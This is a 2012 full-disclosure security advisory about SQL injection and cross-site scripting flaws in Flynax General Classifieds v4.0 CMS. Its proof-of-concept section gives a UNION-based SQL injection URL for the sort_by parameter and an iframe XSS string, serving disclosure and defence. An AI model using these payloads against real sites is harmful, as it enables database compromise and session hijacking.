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Date: Sat, 11 Aug 2012 00:40:11 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Flynax General Classifieds v4.0 CMS - Multiple
	Vulnerabilities

Title:
======
Flynax General Classifieds v4.0 CMS - Multiple Vulnerabilities


Date:
=====
2012-07-13


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=659


VL-ID:
=====
659


Common Vulnerability Scoring System:
====================================
8.3


Introduction:
=============
Choosing Flynax General Classifieds software allows you to set up any classifieds website. It is not designed for a 
particular niche so it can be adjusted to any idea of a classifieds website. This gives you a chance to choose the 
any niche for your classifieds website. For example you may create a classifieds website which will base on local 
classifieds with job ads, sport goods, motorbikes, bicycles or be oriented on all ideas in one website. Using General 
classifieds software with plugins you may create that classifieds website which you desire to have.

(Copy of the Vendor Homepage: http://www.flynax.com/general-classifieds-software.html )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in the Flynax General Classifieds v4.0 CMS.


Report-Timeline:
================
2012-07-13:	Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
1.1
A SQL Injection vulnerability is detected in the Flynax General Classifieds v4.0 Content Management System. Remote attackers 
without privileged user accounts can execute/inject own sql commands to compromise the application dbms. The vulnerability is 
located in the general module with the bound vulnerable sort_by parameter. Successful exploitation of the vulnerability result 
in dbms (Server) or application (Web) compromise. Exploitation requires no user inter action & without privileged user account.

Vulnerable Module(s):
				[+] General

Vulnerable Parameter(s):		
				[+] sort_by


1.2
Multiple persistent input validation vulnerabilities are detected in the Flynax General Classifieds v4.0 Content Management System.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent). The persistent 
vulnerabilities are located in Administrators, User Account & Categories add/list modules with the bound vulnerable titel & username
parameters. Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context 
manipulation. Exploitation requires low user inter action & privileged user account.

Vulnerable Module(s):
				[+] Common > Administrators > Add an Administrator & Listing
				[+] User Accounts > Add an User Account & Listing
				[+] Categories > Add a Category & Listing

Vulnerable Parameter(s):
				[+] Username
				[+] Titel


1.3
Multiple non persistent cross site scripting vulnerabilities are detected in the Flynax General Classifieds v4.0 Content Management System.
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with medium or high required user inter 
action or local low privileged user account. The bugs are located in the  seach module with the bound vulnerable Titel & Price parameters. 
Successful exploitation can result in account steal, client side phishing & client-side content request manipulation. Exploitation requires 
medium or high user inter action & without privileged web application user account.

Vulnerable Module(s):
				[+] Search

Vulnerable Parameter(s):
				[+] Titel
				[+] Price


Proof of Concept:
=================
1.1
The SQL Injection Vulnerability can be exploited by remote attackers without user inter action & without privileged user account.
For demonstration or reproduce ...

PoC:
http://general.[SERVER]:1339/general?sort_by=-1 union all select 1,2,3,4,5,6,7,8,9,@@version,11--



--- Exception Logs ---

MYSQL ERROR
Error:	Unknown column 'T1.' in 'order clause'

Query:	SELECT SQL_CALC_FOUND_ROWS DISTINCT SUBSTRING_INDEX(GROUP_CONCAT(DISTINCT `T6`.`Thumbnail` ORDER BY `T6`.`Type` 
DESC, `T6`.`ID` ASC), ',', 1) AS `Main_photo`, `T1`.*, `T1`.`Shows`, `T3`.`Path` AS `Path`, `T3`.`Key` AS `Key`, `T3`.`Type` 
AS `Listing_type`, COUNT(`T6`.`Thumbnail`) AS `Photos_count`, IF(UNIX_TIMESTAMP(DATE_ADD(`T1`.`Featured_date`, INTERVAL `T2`.`
Listing_period` DAY)) > UNIX_TIMESTAMP(NOW()) OR `T2`.`Listing_period` = 0, '1', '0') `Featured` FROM `fl_listings` AS `T1` 
LEFT JOIN `fl_listing_plans` AS `T2` ON `T1`.`Plan_ID` = `T2`.`ID` LEFT JOIN `fl_categories` AS `T3` ON `T1`.`Category_ID` = 
`T3`.`ID` LEFT JOIN `fl_listing_photos` AS `T6` ON `T1`.`ID` = `T6`.`Listing_ID` LEFT JOIN `fl_accounts` AS `T7` ON `T1`.`
Account_ID` = `T7`.`ID` WHERE ( UNIX_TIMESTAMP(DATE_ADD(`T1`.`Pay_date`, INTERVAL `T2`.`Listing_period` DAY)) > UNIX_TIMESTAMP(NOW()) 
OR `T2`.`Listing_period` = 0 ) AND `T1`.`Account_ID` = '2' AND `T1`.`Status` = 'active' AND `T3`.`Status` = 'active' GROUP BY `T1`.
`ID` ORDER BY `T1`.`` DESC LIMIT 0, 10

Function:	getAll
Class:	rlDb
File:	/home/[PATH]/public_html/general/includes/classes/rlListings.class.php (line# 831)




1.2
The persistent input validation vulnerabilities can be exploited with low privileged user account and low required user inter action.
For demonstration or reproduce ...


Review: User Accounts > Add an User Account & Listing   

<tr class="x-grid3-row-body-tr" style=""><td colspan="9" class="x-grid3-body-cell" tabindex="0" hidefocus="on"><div class="x-grid3-row-body">
</div></td></tr></tbody></table></div><div class="x-grid3-row x-grid3-row-collapsed x-grid3-row-last" style="width: 1063px;">
<table class="x-grid3-row-table" style="width: 1063px;" border="0" cellpadding="0" cellspacing="0"><tbody><tr><td class="x-grid3-col x-grid3-cell 
x-grid3-td-checker x-grid3-cell-first " style="width: 19px;" tabindex="0"><div class="x-grid3-cell-inner x-grid3-col-checker" 
unselectable="on"><div class="x-grid3-row-checker"> </div></div></td><td class="x-grid3-col x-grid3-cell x-grid3-td-expander " 
style="width: 18px;" tabindex="0" rowspan="2"><div class="x-grid3-cell-inner x-grid3-col-expander" unselectable="on"><div class="x-grid3-row-expander">
 </div></div></td><td class="x-grid3-col x-grid3-cell x-grid3-td-rlExt_black_bold " style="width: 38px;" tabindex="0">
<div class="x-grid3-cell-inner x-grid3-col-rlExt_black_bold" unselectable="on">5</div></td><td class="x-grid3-col x-grid3-cell x-grid3-td-3 " 
style="width: 116px;" tabindex="0"><div class="x-grid3-cell-inner x-grid3-col-3" unselectable="on">><[INJECTED PERSISTENT SCRIPT CODE]</div'>
</td><td class="x-grid3-col x-grid3-cell x-grid3-td-rlExt_item_bold " style="width: 226px;" tabIndex="0" ><div 
class="x-grid3-cell-inner x-grid3-col-rlExt_item_bold" unselectable="on" ><a href="http://general.[SERVER]:1339/admin/index.php?controller=
accounts&action=view&userid=5">N/A</a></div></td><td class="x-grid3-col x-grid3-cell x-grid3-td-rlExt_item " 
style="width: 198px;" tabIndex="0" ><div class="x-grid3-cell-inner x-grid3-col-rlExt_item" unselectable="on" ><span ext:
qtip="Click here to edit">yea@...il.com</span></div></td><td class="x-grid3-col x-grid3-cell x-grid3-td-6 " 
style="width: 116px;" tabIndex="0" ><div class="x-grid3-cell-inner x-grid3-col-6" unselectable="on" >Buyer</div></td
><td class="x-grid3-col x-grid3-cell x-grid3-td-7 " style="width: 116px;" tabIndex="0" ><div class="x-grid3-cell-inner 
x-grid3-col-7" unselectable="on" >Jul 10, 2012</div></td><td class="x-grid3-col x-grid3-cell x-grid3-td-8 " style="width: 
98px;background: #d2e798;" tabIndex="0" ><div class="x-grid3-cell-inner x-grid3-col-8" unselectable="on" ><span 
ext:qtip="Click here to edit">Active</span></div></td><td class="x-grid3-col x-grid3-cell x-grid3-td-9 x-grid3-cell-last 
" style="width: 98px;" tabIndex="0" ><div class="x-grid3-cell-inner x-grid3-col-9" unselectable="on" ><center><a 
href='http://general.[SERVER]:1339/admin/index.php?controller=accounts&action=view&userid=5'><img class='view' 
ext:qtip='View' src='http://general.[SERVER]:1339/admin/img/blank.gif' /></a><a href='http://general.[SERVER]:1339/admin/
index.php?controller=accounts&action=edit&account=5'><img class='edit' ext:qtip='Edit' src='http://general.[SERVER]:1339/
admin/img/blank.gif' /></a><img class='remove' ext:qtip='Delete' src='http://general.[SERVER]:1339/admin/img/blank.gif' 
onclick='xajax_prepareDeleting(5)' /></center></div></td></tr><tr class="x-grid3-row-body-tr" style=""><
td colspan="9" class="x-grid3-body-cell" tabIndex="0" hidefocus="on"><div class="x-grid3-row-body"></div></td></tr
></tbody></table></div></iframe></div></td></tr></tbody></table></div></div>

Common > Administrators > Add an Administrator > Username
URL: http://general.[SERVER]:1339/admin/index.php?controller=admins
URL: http://general.[SERVER]:1339/admin/index.php?controller=admins&status=new

User Accounts > Add an User Account > Username
URL: http://general.[SERVER]:1339/admin/index.php?controller=accounts
URL: http://general.[SERVER]:1339/admin/index.php?controller=accounts&status=new



Review: Categories > Add a Category & Listing

<div class="x-grid3-cell-inner x-grid3-col-rlExt_item_bold" unselectable="on">><[INJECTED PERSISTENT SCRIPT CODE])' <<="" div=""></td>
<td class="x-grid3-col x-grid3-cell x-grid3-td-1 " style="width: 93px;" tabIndex="0" ><div class="x-grid3-cell-inner x-grid3-col-1" 
unselectable="on" ><a style="display: block;" ext:qtip="Browse Category" class="green_11" href="http://general.127.0.0.1:1339/admin/index.php?
controller=browse&id=13"><b>2</b></a></div><

Categories > Add a Category > Titel
URL: http://general.[SERVER]:1339/admin/index.php?controller=categories
URL: http://general.[SERVER]:1339/admin/index.php?controller=categories&status=new



1.3
The non persistent cross site scripting vulnerability can be exploited by remote attackers with medium or high required user inter action.
For demonstration or reproduce ...

String: ><iframe src=http://vuln-lab.com onload=alert("VulnerabilityLab") <

Review: Search - Title & Price

<div class="value">
<input><[NON PERSISTENT SCRIPT CODE]" class="numeric field_from w50" type="text" 
name="f[price][from]" maxlength="15"><img
 alt="" 
src="http://general.demoflynax.com/templates/general_modern/img/blank.gif"
 class="between" /><input value=""><iframe src=a" 
class="numeric field_to w50" type="text" name="f[price][to]" 
maxlength="15" />
		</div>

URL: http://general.[SERVER]:1339/search.html


Risk:
=====
1.1
The security risk of the remote sql injection vulnerability is estimated as critical.

1.2
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).

1.3
The security risk of the non persistent cross site scripting vulnerabilities are estimated as low(+).


Credits:
========
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri (bkm@...nerability-lab.com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

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    				   	Copyright © 2012 | Vulnerability Laboratory



-- 
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LABORATORY RESEARCH TEAM
CONTACT: research@...nerability-lab.com


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